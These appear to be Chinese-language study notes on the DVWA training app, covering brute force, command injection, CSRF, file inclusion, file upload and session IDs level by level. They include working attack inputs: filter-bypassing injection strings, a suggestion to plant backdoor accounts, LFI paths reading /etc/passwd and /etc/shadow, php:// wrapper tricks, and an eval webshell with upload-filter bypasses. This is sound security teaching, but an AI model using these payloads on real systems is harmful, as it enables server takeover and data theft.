- 通过代码分析,可以知道增加了账户锁定机制,防止爆破
  • 代码分析

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Dvwa - Command Injection

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

DVWA命令注入就是让输入一个IP地址,然后去ping这个IP地址

Level - Low

服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

# 1. Command Injection(命令注入)步骤
- 正常ping(127.0.0.1) 

- 使用 && 或 & 连接命令
形式一: && Usage:第一条命令 && 第二条命令 [&& 第三条命令…]
形式二:& Usage:第一条命令 && 第二条命令 [&& 第三条命令…]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
如: 127.0.0.1 && ip addr && ....

- && 和 & 的区别
(1). Command 1&&Command 2: 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
(2). Command 1&Command 2: 先执行Command 1,不管是否成功,都会执行Command 2

- 判断操作系统(Linux 或者 Windows,这里主要和搭建的dvwa系统环境有关 若搭建在linux则为linux命令)
(1). ip addr: Linux查询网络命令
(2). net user: Windows查询账户命令
注: 只要是能区分Linux 和 Windows命令都行;

- 创建账户等后门信息 充分利用一切可以使用的命令进一步渗透

wechat_20210515061931.png

  • 代码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Level - Medium

  • 代码分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

结论:

- 相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

- 因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

- 由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:
127.0.0.1&;&ip addr  ==> 127.0.0.1&&ip addr

wechat_20210515062620.png

Level - High

  • 代码分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

结论:

- 相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

- 黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。如127.0.0.1|ip addr

wechat_20210515063035.png

Level - Impossible

同理,使用Level Low 和 Level Medium 和 Level High对Level Impossible进行同样的尝试,查看结果。

  • 代码分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

结论:

- 在不可能的关卡中,挑战被重写,只允许非常严格的输入。如果不匹配且没有产生特定的结果,则不允许执行它。与其使用“黑名单”过滤(允许任何输入并删除不需要的输入),不如使用“白名单”(只允许某些值)。

Dvwa - CSRF

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

# 1. CSRF 攻击过程描述
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。 

# 2. CSRF 漏洞利用思路
- 攻击者通过用户的浏览器注入额外的网络请求,破坏一个网络会话的完整性。由于浏览器的安全策略是允许当前页面发送到任何地址的请求,因此也就意味着当用户在浏览器自己无法控制的资源时,攻击者可以控制页面的内容来控制浏览器发送进行构造的请求。
(1). 利用浏览器的网络连接
(2). 利用浏览器的状态
(3). 改变浏览器的状态

# 3. CSRF 防御策略
- 验证 HTTP Referer 字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证

Level - Low

  • 使用Burp Suite 拦截

通过Burp Suite拦截,发现没有token;输入密码的时候输入不一致。

wechat_20210515154630.png

  • 构造恶意链接

将/csrf/后的内容复制构造恶意连接;如password_new=a&password_conf=b&Change=Change。

拼接URL:http://192.168.188.128:8081/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change

通过访问以上URL即可实现修改密码,只要诱骗用户点击这个恶意链接,就会将在不知情的情况下将密码改为aaa。

  • 代码分析
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - Medium

  • 使用Burp Suite 拦截

通过Burp Suite拦截,发现没有token;输入密码的时候输入不一致。

  • 构造恶意链接

将/csrf/后的内容复制构造恶意连接;如password_new=a&password_conf=b&Change=Change。

拼接URL:http://192.168.188.128:8081/vulnerabilities/csrf/?password_new=bbb&password_conf=bbb&Change=Change

访问URL,出现以下结果。它会报错,提示你Http Referer字段没有定义索引。说明直接访问不能够修改成功

wechat_20210531065012.png

wechat_20210531065254.png

  • 代码分析

<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

结论:

# Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

# 即用户的请求头中的Referer字段必须包含了服务器的名字。

Level - High

简单利用 CSRF

- High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。

- 简单利用CSRF 可以直接将Level 从High 修改为 Low 即可

# 修改密码为123 直接访问即可
- http://192.168.188.128:8081/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

wechat_20210531082422.png

复合利用 CSRF

结合XSS 与 CSRF 一起使用 构造一个网址诱导 受害者 点击

Level - Impossible

  • 代码分析

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );
    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();
    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}
// Generate Anti-CSRF token
generateSessionToken();

结论:

Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

Dvwa - File

Dvwa - File Inclusion

- File Inclusion,意思是文件包含(漏洞),是指当服务器开启alLow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的alLow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

- 文件包含漏洞分类
(1). 本地包含
(2). 远程文件包含(可配置上传漏洞一起使用)

- PHP中文件包含函数有以下四种:
(1). require()
(2). require_once()
(3). include()
(4). include_once()

- 文件包含漏洞危害
(1). 敏感信息泄露
(2). 获取Webshell
(3). 任意命令执行

- 文件包含漏洞防护
(1). PHP中使用open_basedir配置,将访问限制在指定区域。
(2). 过滤.、\、/等敏感字符。
(3). 禁止服务器远程文件包含。

- 环境配置
从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的。
远程文件包含,需要配置allow_url_include,allow_url_fopen为on。
打开php的配置文件,搜索allow_url_include,把off换成on,然后重启

20200219132828719.png

Level - Low

  • 代码分析
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

漏洞产生原因:

本地文件包含指的是可以执行windows或者linux下的敏感文件,这些文件一般不是PHP,执行这些文件可以直接显示出文件中的内容。

在代码中可以看到并没有对page参数做任何的过滤和防护,在用户对url进行传参时不管page=?都会被服务器当成php来执行,所以造成任意文件读取和任意命令执行。

  • 替换文件

将file1.php 换成 命令即可。Linux 和 Winodws 的信息路径不一样。可参考以下执行命令执行

wechat_20210515182859.png

- Windows 系统(关于windows文件信息都可以获取)

C:\Windows\System32\drivers\etc\hosts
../../phpinfo.php (php探针)

...

- Linux 系统(关于linux文件信息都可以获取)

/etc/hosts

/etc/profile

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

../../phpinfo.php (php探针)

...

wechat_20210515195613.png

# 常用路径
网站根目录下的robots文件:   ../../robots.txt
PHP探针信息:   ../../phpinfo.php

Level- Medium

  • 代码分析
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

结论:

可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。

但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://  ,所以最终还是会包含到 http://xx 

若想使用Level - Medium 漏洞,需要结合File Upload(文件上传漏洞)一起配合使用。若想继续了解,可自行百度

Level - High

过滤措施造成远程文件包含无法进行,但仍存在本地文件包含的风险

若想使用Level - High 漏洞,需要结合File Upload(文件上传漏洞)一起配合使用。若想继续了解,可自行百度

Level - Impossible

尝试使用 Level - Low 和 Level - Medium 和 Level - High方法尝试 或者 将文件包含和文件上传漏洞结合使用。查看结果。

  • 常见的其他方法
常见的还有以下包含方法。
1、【?file=../../../../../etc/passwdd】
2、【?page=file:///etc/passwd】
3、【?home=main.cgi】
4、【?page=http://www.a.com/1.php】
5、【http://1.1.1.1/../../../../dir/file.txt】
6、【?page=file:///C:/123.txt】
编码绕过字符过滤
1、【可以使用多种编码方式进行绕过】把字符换成url编码进行尝试
2、【使用大小写进行尝试】
3、【%00嵌入任意位置】
    在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
    http://x.com/?page=../../../dvwa/php.ini.php
    http://x.com/?page=../../../dvwa/php.ini%002.php
4、【.的利用】点代表当前目录,点点代表上一层目录。
5、【对于a-zA-Z这样的字符,浏览器在发送请求前会做解码;而对于URL不支持的字符,比如%20,浏览器不做解码的,%20解码发生在服务器上(apache/nginx)】
常见的包含位置
(1)php://input然后post提交<?php system('pwd');?>显示当前所在目录。
(1)访问敏感文件phpinfo。
(2)包含日志文件,access.log(Apache日志文件)。
白盒测试时,先检查allow_url_fopen、allow_url_include等危险函数是否开启。
(3)利用php伪协议读源码。【http://x.com/?page=php://filter/read=string.rot13/resource=include.php】

Dvwa - File Upload

参考文档:https://blog.csdn.net/qq_36119192/article/details/82904642#High:

工具:一句话木马(分为过狗和不过狗)、中国菜刀

狗:加密狗

一句话:https://www.cnblogs.com/u0mo5/p/4901037.html

常用一句话:

文件上传漏洞,指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限。

Level - Low

  • 编写一句话木马

保存为 php 格式的文件 ,名字任意 这里选择ababab.php

<?php   @eval($_POST['xie']);  ?>
  • 上传一句话木马

上传一句话后 获取文件路径,如:/hackable/uploads/ababab.php

wechat_20210602193317.png

  • 中国菜刀连接

IP + 一句话目录路径 ;如 :http://192.168.188.128:8081/hackable/uploads/ababab.php

后面的 xie 为一句话中post 里的参数 可任意修改 添加后 双击进入

wechat_20210602193509.png

wechat_20210602195133.png

Level - Medium

  • 编写一句话木马

保存为不同名字的php文件 如,test2.php

<?php   @eval($_POST['xie']);  ?>
  • 上传一句话

    • 直接上传 产生错误 显示只能上传JPEG or PNG 格式的图片

    wechat_20210602194409.png

    • Burp Suite拦截上传

    修改 Http Header信息中的 Content-Type: application/octet-stream

    将 application/octet-stream 改为 image/jepg

    点击Forward 上传成功!

wechat_20210602194904.png

wechat_20210602194051.png

  • 中国菜刀连接

wechat_20210602193509.png

wechat_20210602195133.png

Level - High

  • 一句话木马(同上)

  • 上传一句话

    • 直接上传

    直接上传 产生错误 显示只能上传JPEG or PNG 格式的图片

    wechat_20210602194409.png

    • Burp Suite拦截上传

    使用Burp Suite拦截上传 产生错误 显示只能上传JPEG or PNG 格式的图片

    wechat_20210602194409.png

    • 修改文件格式上传

      • 方式一:修改php后缀名为jpeg

      打开php一句话木马,在一句话前添加 GIF89 字符串 即可。然后修改为jpeg后缀名即可。

      php文件内容如下:

      GIF89

      wechat_20210602200042.png

      • 方式二:使用 copy命令 将一句话木马文件xxx.php与图片文件yyy.jpg合并(自行百度)
  • 中国菜刀连接

虽然将它上传成功了,但是由于是jpg格式,它是无法作为PHP执行的,菜刀连接获取webshell的条件是一句话木马能够在服务器端执行。因此要利用需要结合文件包含漏洞来执行。可以利用DVWA的文件包含漏洞,让我们的图片格式的一句话木马以php格式运行。

Level - Impossible

  • 代码分析
<?php
 
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];    //文件在上传者机器上的文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上传文件的后缀名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];  //上传文件的大小
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];  //上文文件的类型
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];  //文件上传到服务器临时文件夹后的文件名
 
    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
 
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );
 
        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
 
        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?> 

结论:

Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

Dvwa - Insecure CAPTCHA(待完成)

参考文档:https://blog.csdn.net/qq_36119192/article/details/81431856

参考文档:https://www.cnblogs.com/yingyingja/p/10949302.html

Level - Low

Level - Medium

Level - High

Level - Impossible

Dvwa - Weak Session IDs(待完成)

参考文档:https://blog.csdn.net/weixin_40950781/article/details/99933784

# 1. 概述
- 当用户登录后,在服务器就会创建一个会话(session),叫做**会话控制**,接着访问页面的时候就不用登录,只需要携带session去访问。sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

- 用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

# 2. Session | cookie | token | jwt
- session存储于服务器,可以理解为一个状态列表,拥有一个唯一识别符号sessionId,通常存放于cookie中。服务器收到cookie后解析出sessionId,再去session列表中查找,才能找到相应session。依赖cookie
- cookie类似一个令牌,装有sessionId,存储在客户端,浏览器通常会自动添加。
- token也类似一个令牌,无状态,用户信息都被加密到token中,服务器收到token后解密就可知道是哪个用户。需要开发者手动添加。
- jwt跨域认证的方案

# 3. 原理
- Session利用的实质 :由于SessionID是用户登录之后才持有的**唯一认证凭证**,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等

- Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

Level - Low

  • 代码分析
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?> 

结论:

- 可看到session是如何生成的,初始值为0,每次增加1。这里我们可以通过Brup进行抓包,很容易发现规律。然后我们可以通过规律自己构造session,在火狐上使用hacker,来实现不需要密码,登录网站的目的。

Level - Medium(待完成)

Level - High(待完成)

Level - Implossible(待完成)

Dvwa - XSS

# 1. Xss概念
- 由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

# 2. Xss类型
- 反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。  

- 存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。

